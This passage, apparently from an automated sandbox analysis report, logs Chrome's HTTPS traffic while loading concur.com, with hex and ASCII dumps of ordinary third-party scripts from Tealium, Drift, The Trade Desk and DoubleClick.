6e 73 74 20 65 20 3d Data Ascii: (function () { "use strict"; // log related let logLevel = null, logCategory = "(TTD)"; const LOG_LEVELS = ["debug", "info", "warn", "error"]; let Logger = LOG_LEVELS.reduce(((e, t, n) => (e[t] = function () { const e =
2024-10-03 08:41:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 2f 2f 69 66 20 28 20 52 65 61 64 79 4f 62 6a 2e 66 6e 2e 74 72 69 67 67 65 72 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 52 65 61 64 79 4f 62 6a 28 20 64 6f 63 75 6d 65 6e 74 20 29 2e 74 72 69 67 67 65 72 28 20 22 72 65 61 64 79 22 20 29 2e 75 6e 62 69 6e 64 28 20 22 72 65 61 64 79 22 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 62 69 6e 64 52 65 61 64 79 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 61 64 79 4c 69 73 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 Data Ascii: //if ( ReadyObj.fn.trigger ) { // ReadyObj( document ).trigger( "ready" ).unbind( "ready" ); //} } }, bindReady: function () { if (readyList) { return;
2024-10-03 08:41:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 73 65 55 72 6c 3a 20 75 69 64 5f 63 6f 6e 66 69 67 2e 62 61 73 65 55 72 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 69 6e 66 6f 28 22 4e 6f 6e 2d 54 54 44 20 61 63 74 6f 72 20 69 6e 69 74 69 61 6c 69 7a 65 64 20 55 49 44 32 20 53 44 4b 2c 20 6d 69 6e 64 20 74 68 Data Ascii: baseUrl: uid_config.baseUrl, }); } } catch (e) { console.info("Non-TTD actor initialized UID2 SDK, mind th
2024-10-03 08:41:44 UTC	1680	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 54 72 79 46 69 6e 64 54 6f 70 4d 6f 73 74 52 65 66 65 72 72 65 72 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 75 72 72 65 6e 74 57 69 6e 64 6f 77 20 3d 20 77 69 6e 64 6f 77 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 65 66 65 72 72 65 72 54 72 61 63 65 20 3d 20 27 27 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 68 61 73 45 72 72 6f 72 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 41 63 63 65 73 73 69 6e 67 20 74 68 65 20 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 20 6c 6f 63 61 74 69 6f 6e 20 77 6f 75 6c 64 20 65 69 74 68 65 72 20 73 75 63 63 65 65 64 20 6f 72 20 66 61 69 6c 20 77 69 74 68 20 58 53 53 20 65 72 72 6f 72 2e 0a 20 20 20 20 20 20 20 20 Data Ascii: function TryFindTopMostReferrer() { var currentWindow = window; var referrerTrace = ''; var hasError = false; try { //Accessing the property of the location would either succeed or fail with XSS error.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49989	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1239.js?utv=ut4.39.202209271833 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3319 Connection: close Date: Thu, 03 Oct 2024 08:41:44 GMT Last-Modified: Thu, 26 Sep 2024 17:14:03 GMT ETag: "7c74d1ef8c2fbd400b04b852a033c00c" x-amz-server-side-encryption: AES256 x-amz-version-id: YAVTSXSVWTpIzmf3dk7AydrvIYR1wbCQ Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5f82872daec754c74bbd4ef1bc7f7314.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: SHz7tPpFyPVuNOlMz-Pe7SJRh_8JslJ1Tt4ZmSxzFaHJJxM0f624og== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:44 UTC	3198	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 33 39 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 69 64 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 2e 65 76 3d 7b 76 69 65 77 3a 31 2c 6c 69 6e 6b 3a 31 7d 3b 75 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3d 66 61 6c 73 65 3b 75 2e 73 63 72 69 70 74 72 65 71 75 65 73 74 65 64 3d 66 61 6c 73 65 3b 75 2e 71 75 65 75 65 3d 5b 5d 3b 75 2e 6d Data Ascii: //tealium universal tag - utag.1239 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={id:id};utag.o[loader].sender[id]=u;u.ev={view:1,link:1};u.initialized=false;u.scriptrequested=false;u.queue=[];u.m
2024-10-03 08:41:44 UTC	121	IN	Data Raw: 74 61 67 2e 44 42 28 27 73 65 6e 64 3a 31 32 33 39 3a 43 4f 4d 50 4c 45 54 45 27 29 3b 7d 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 6c 6f 61 64 65 72 2e 4c 4f 41 44 28 69 64 29 3b 7d 28 27 31 32 33 39 27 2c 27 63 6f 6e 63 75 72 2e 63 6f 6e 63 75 72 27 29 29 3b 7d 63 61 74 63 68 28 65 72 72 6f 72 29 7b 75 74 61 67 2e 44 42 28 65 72 72 6f 72 29 3b 7d 0a Data Ascii: tag.DB('send:1239:COMPLETE');}};utag.o[loader].loader.LOAD(id);}('1239','concur.concur'));}catch(error){utag.DB(error);}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49991	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1288.js?utv=ut4.39.202401172153 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2002 Connection: close Date: Thu, 03 Oct 2024 08:41:44 GMT Last-Modified: Thu, 26 Sep 2024 17:13:48 GMT ETag: "16ffc49630f2bcd55ccb118e75f49fc3" x-amz-server-side-encryption: AES256 x-amz-version-id: Y_Mrcmui9MSLfsLLe2j6VU.DAnVbBfCf Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 9bd2938ceb90e1a35f549d1165e84676.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: POjPBuPk4LQZwf71J3DxdncVx27ZV7figMkFRp6y1hPz-C-CYuuq9A== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:44 UTC	2002	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 38 38 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 2e 65 76 3d 7b 22 76 69 65 77 22 3a 31 7d 3b 75 2e 6d 61 70 3d 7b 7d 3b 75 2e 65 78 74 65 6e 64 3d 5b 5d 3b 75 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 75 2e 65 76 5b 61 5d 7c 7c 75 2e 65 76 2e 61 6c 6c 21 3d 3d 75 6e 64 Data Ascii: //tealium universal tag - utag.1288 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;u.ev={"view":1};u.map={};u.extend=[];u.send=function(a,b){if(u.ev[a]\|\|u.ev.all!==und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49992	18.245.86.14	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	548	OUT	GET /include/1727945100000/7xzz4mtpike9.js HTTP/1.1 Host: js.driftt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	973	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 226668 Connection: close Server: istio-envoy Date: Thu, 03 Oct 2024 08:41:44 GMT Last-Modified: Tue, 24 Sep 2024 17:33:41 GMT ETag: "f832ffabf78fe78b7d496fd5029e9a5a" x-amz-server-side-encryption: AES256 x-amz-version-id: niaeQgibZo8hMzsw.EaO8mU9srmtoti3 Accept-Ranges: bytes access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: no-cache x-envoy-upstream-service-time: 42 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 e0bdfd4f00aaa5b927cf38c4eda059ca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: 2L31hEazaSnpl4BW88MIOtua4YNmbVK5-q6zhoQVeUw-fPA3v_8RLw==
2024-10-03 08:41:44 UTC	8949	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 77 65 62 70 61 63 6b 4a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 28 74 29 7b 66 6f 72 28 76 61 72 20 72 2c 6f 2c 69 3d 74 5b 30 5d 2c 73 3d 74 5b 31 5d 2c 63 3d 30 2c 75 3d 5b 5d 3b 63 3c 69 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 6f 3d 69 5b 63 5d 2c 6e 5b 6f 5d 26 26 75 2e 70 75 73 68 28 6e 5b 6f 5d 5b 30 5d 29 2c 6e 5b 6f 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 73 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 73 2c 72 29 26 26 28 65 5b 72 5d 3d 73 5b 72 5d 29 3b 66 6f 72 28 61 26 26 61 28 74 29 3b 75 2e 6c 65 6e 67 74 68 3b 29 75 2e 73 68 69 66 74 28 29 28 29 7d 76 61 72 20 74 3d 7b 7d 2c 6e 3d 7b 30 3a 30 7d 3b 66 75 6e 63 74 69 Data Ascii: !function(e){function webpackJsonpCallback(t){for(var r,o,i=t[0],s=t[1],c=0,u=[];c<i.length;c++)o=i[c],n[o]&&u.push(n[o][0]),n[o]=0;for(r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r]);for(a&&a(t);u.length;)u.shift()()}var t={},n={0:0};functi
2024-10-03 08:41:44 UTC	7725	IN	Data Raw: 75 74 28 65 2e 6a 29 2c 65 2e 6a 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2c 6e 3d 42 28 65 2e 67 2c 65 2e 62 29 3b 74 3d 28 77 69 6e 64 6f 77 2e 61 26 26 77 69 6e 64 6f 77 2e 61 2e 41 3f 31 65 33 2a 77 69 6e 64 6f 77 2e 61 2e 41 28 29 2e 43 2d 74 3a 30 29 7c 7c 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 45 76 65 6e 74 45 6e 64 2d 74 3b 69 66 28 65 2e 75 29 76 61 72 20 72 3d 65 2e 75 3b 65 6c 73 65 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 45 76 65 6e 74 45 6e 64 3f 72 3d 28 72 3d 70 Data Ascii: ut(e.j),e.j=setTimeout(function(){var t=performance.timing.navigationStart,n=B(e.g,e.b);t=(window.a&&window.a.A?1e3*window.a.A().C-t:0)\|\|performance.timing.domContentLoadedEventEnd-t;if(e.u)var r=e.u;else performance.timing.domContentLoadedEventEnd?r=(r=p
2024-10-03 08:41:44 UTC	15988	IN	Data Raw: 6f 6d 70 6c 65 74 65 28 65 2c 74 29 7b 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 74 79 70 65 29 74 68 72 6f 77 20 65 2e 61 72 67 3b 72 65 74 75 72 6e 22 62 72 65 61 6b 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 65 2e 74 79 70 65 3f 74 68 69 73 2e 6e 65 78 74 3d 65 2e 61 72 67 3a 22 72 65 74 75 72 6e 22 3d 3d 3d 65 2e 74 79 70 65 3f 28 74 68 69 73 2e 72 76 61 6c 3d 74 68 69 73 2e 61 72 67 3d 65 2e 61 72 67 2c 74 68 69 73 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 74 68 69 73 2e 6e 65 78 74 3d 22 65 6e 64 22 29 3a 22 6e 6f 72 6d 61 6c 22 3d 3d 3d 65 2e 74 79 70 65 26 26 74 26 26 28 74 68 69 73 2e 6e 65 78 74 3d 74 29 2c 64 7d 2c 66 69 6e 69 73 68 3a 66 75 6e 63 74 69 6f 6e 20 66 69 6e 69 73 68 28 65 29 7b 66 6f 72 Data Ascii: omplete(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type\|\|"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),d},finish:function finish(e){for
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 72 65 70 6c 61 63 65 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 63 68 61 72 41 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 65 2e 6c 65 6e 67 74 68 29 29 7d 29 2b 22 5f 22 2b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 62 74 6f 61 29 72 65 74 75 72 6e 20 62 74 6f 61 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2e 72 65 70 6c 61 63 65 28 2f 25 28 5b 30 2d 39 41 2d 46 5d 7b 32 7d 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 61 72 73 65 49 6e 74 28 74 2c 31 36 29 29 7d 29 29 2e 72 65 70 6c 61 63 65 28 2f 5b 3d 5d 2f 67 Data Ascii: replace(/./g,function(){return e.charAt(Math.floor(Math.random()*e.length))})+"_"+function(e){if("function"==typeof btoa)return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g,function(e,t){return String.fromCharCode(parseInt(t,16))})).replace(/[=]/g
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 73 65 72 69 61 6c 69 7a 65 54 79 70 65 28 22 63 72 6f 73 73 5f 64 6f 6d 61 69 6e 5f 7a 61 6c 67 6f 5f 70 72 6f 6d 69 73 65 22 2c 7b 74 68 65 6e 3a 66 75 6e 63 74 69 6f 6e 5f 73 65 72 69 61 6c 69 7a 65 46 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 74 68 65 6e 28 65 2c 74 29 7d 2c 72 2c 7b 6f 6e 3a 6f 2e 6f 6e 2c 73 65 6e 64 3a 6f 2e 73 65 6e 64 7d 29 7d 29 7d 28 65 2c 74 2c 6e 2c 72 2c 7b 6f 6e 3a 69 2c 73 65 6e 64 3a 61 7d 29 7d 2c 6f 2e 66 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 5f 73 65 72 69 61 6c 69 7a 65 46 75 6e 63 74 69 6f 6e Data Ascii: urn function(e,t,n,r,o){return serializeType("cross_domain_zalgo_promise",{then:function_serializeFunction(e,t,function(e,t){return n.then(e,t)},r,{on:o.on,send:o.send})})}(e,t,n,r,{on:i,send:a})},o.function=function(n,r){return function_serializeFunction
2024-10-03 08:41:45 UTC	2048	IN	Data Raw: 73 74 20 6e 6f 74 20 62 65 20 6e 65 67 61 74 69 76 65 27 29 7d 66 75 6e 63 74 69 6f 6e 20 61 6c 6c 6f 63 55 6e 73 61 66 65 28 65 2c 74 29 7b 69 66 28 61 73 73 65 72 74 53 69 7a 65 28 74 29 2c 65 3d 63 72 65 61 74 65 42 75 66 66 65 72 28 65 2c 74 3c 30 3f 30 3a 30 7c 63 68 65 63 6b 65 64 28 74 29 29 2c 21 42 75 66 66 65 72 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 29 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 3b 2b 2b 6e 29 65 5b 6e 5d 3d 30 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 66 72 6f 6d 41 72 72 61 79 4c 69 6b 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 3c 30 3f 30 3a 30 7c 63 68 65 63 6b 65 64 28 74 2e 6c 65 6e 67 74 68 29 3b 65 3d 63 72 65 61 74 65 42 75 66 66 65 72 28 65 2c 6e 29 3b 66 6f 72 Data Ascii: st not be negative')}function allocUnsafe(e,t){if(assertSize(t),e=createBuffer(e,t<0?0:0\|checked(t)),!Buffer.TYPED_ARRAY_SUPPORT)for(var n=0;n<t;++n)e[n]=0;return e}function fromArrayLike(e,t){var n=t.length<0?0:0\|checked(t.length);e=createBuffer(e,n);for
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 3d 61 3f 65 5b 74 5d 3a 65 2e 72 65 61 64 55 49 6e 74 31 36 42 45 28 74 2a 61 29 7d 69 66 28 6f 29 7b 76 61 72 20 75 3d 2d 31 3b 66 6f 72 28 69 3d 6e 3b 69 3c 73 3b 69 2b 2b 29 69 66 28 72 65 61 64 28 65 2c 69 29 3d 3d 3d 72 65 61 64 28 74 2c 2d 31 3d 3d 3d 75 3f 30 3a 69 2d 75 29 29 7b 69 66 28 2d 31 3d 3d 3d 75 26 26 28 75 3d 69 29 2c 69 2d 75 2b 31 3d 3d 3d 63 29 72 65 74 75 72 6e 20 75 2a 61 7d 65 6c 73 65 2d 31 21 3d 3d 75 26 26 28 69 2d 3d 69 2d 75 29 2c 75 3d 2d 31 7d 65 6c 73 65 20 66 6f 72 28 6e 2b 63 3e 73 26 26 28 6e 3d 73 2d 63 29 2c 69 3d 6e 3b 69 3e 3d 30 3b 69 2d 2d 29 7b 66 6f 72 28 76 61 72 20 66 3d 21 30 2c 6c 3d 30 3b 6c 3c 63 3b 6c 2b 2b 29 69 66 28 72 65 61 64 28 65 2c 69 2b 6c 29 21 3d 3d 72 65 61 64 28 74 2c 6c 29 29 7b 66 3d 21 31 Data Ascii: =a?e[t]:e.readUInt16BE(ta)}if(o){var u=-1;for(i=n;i<s;i++)if(read(e,i)===read(t,-1===u?0:i-u)){if(-1===u&&(u=i),i-u+1===c)return ua}else-1!==u&&(i-=i-u),u=-1}else for(n+c>s&&(n=s-c),i=n;i>=0;i--){for(var f=!0,l=0;l<c;l++)if(read(e,i+l)!==read(t,l)){f=!1
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 74 79 70 65 2e 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 20 66 69 6c 6c 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 74 3f 28 72 3d 74 2c 74 3d 30 2c 6e 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 3a 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 72 3d 6e 2c 6e 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6f 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 3b 6f 3c 32 35 36 26 26 28 65 3d 6f 29 7d 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 22 73 74 72 69 6e 67 22 21 3d 3d 74 79 70 65 6f 66 20 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 65 6e 63 6f 64 Data Ascii: type.fill=function fill(e,t,n,r){if("string"===typeof e){if("string"===typeof t?(r=t,t=0,n=this.length):"string"===typeof n&&(r=n,n=this.length),1===e.length){var o=e.charCodeAt(0);o<256&&(e=o)}if(void 0!==r&&"string"!==typeof r)throw new TypeError("encod
2024-10-03 08:41:45 UTC	2048	IN	Data Raw: 5d 3b 28 73 3d 72 5b 61 2e 69 64 5d 29 2e 72 65 66 73 2d 2d 2c 6f 2e 70 75 73 68 28 73 29 7d 65 26 26 61 64 64 53 74 79 6c 65 73 54 6f 44 6f 6d 28 6c 69 73 74 54 6f 53 74 79 6c 65 73 28 65 2c 74 29 2c 74 29 3b 66 6f 72 28 69 3d 30 3b 69 3c 6f 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 73 3b 69 66 28 30 3d 3d 3d 28 73 3d 6f 5b 69 5d 29 2e 72 65 66 73 29 7b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 73 2e 70 61 72 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 73 2e 70 61 72 74 73 5b 63 5d 28 29 3b 64 65 6c 65 74 65 20 72 5b 73 2e 69 64 5d 7d 7d 7d 7d 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 5b 74 5d 3d 6e 2c 65 2e 66 69 6c 74 65 Data Ascii: ];(s=r[a.id]).refs--,o.push(s)}e&&addStylesToDom(listToStyles(e,t),t);for(i=0;i<o.length;i++){var s;if(0===(s=o[i]).refs){for(var c=0;c<s.parts.length;c++)s.parts[c]();delete r[s.id]}}}};var f=function(){var e=[];return function(t,n){return e[t]=n,e.filte
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 28 29 7d 6e 2e 72 28 72 29 2c 6e 2e 64 28 72 2c 22 63 6f 6c 6c 65 63 74 46 6f 72 6d 44 61 74 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 47 6e 7d 29 2c 6e 2e 64 28 72 2c 22 63 6f 6d 6d 69 74 46 6f 72 6d 44 61 74 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 48 6e 7d 29 2c 6e 2e 64 28 72 2c 22 73 74 61 67 65 46 6f 72 6d 44 61 74 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 6e 7d 29 2c 6e 2e 64 28 72 2c 22 69 6e 69 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 6f 7d 29 2c 6e 2e 64 28 72 2c 22 64 72 69 66 74 5f 63 6f 68 61 62 69 74 61 74 69 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 6f 7d 29 2c 6e 2e 64 Data Ascii: ator]() method.")}()}n.r(r),n.d(r,"collectFormData",function(){return Gn}),n.d(r,"commitFormData",function(){return Hn}),n.d(r,"stageFormData",function(){return qn}),n.d(r,"init",function(){return po}),n.d(r,"drift_cohabitation",function(){return yo}),n.d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49993	216.58.206.66	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	612	OUT	GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WnY1WXZnQUFBRW1QVVFOLQ== HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
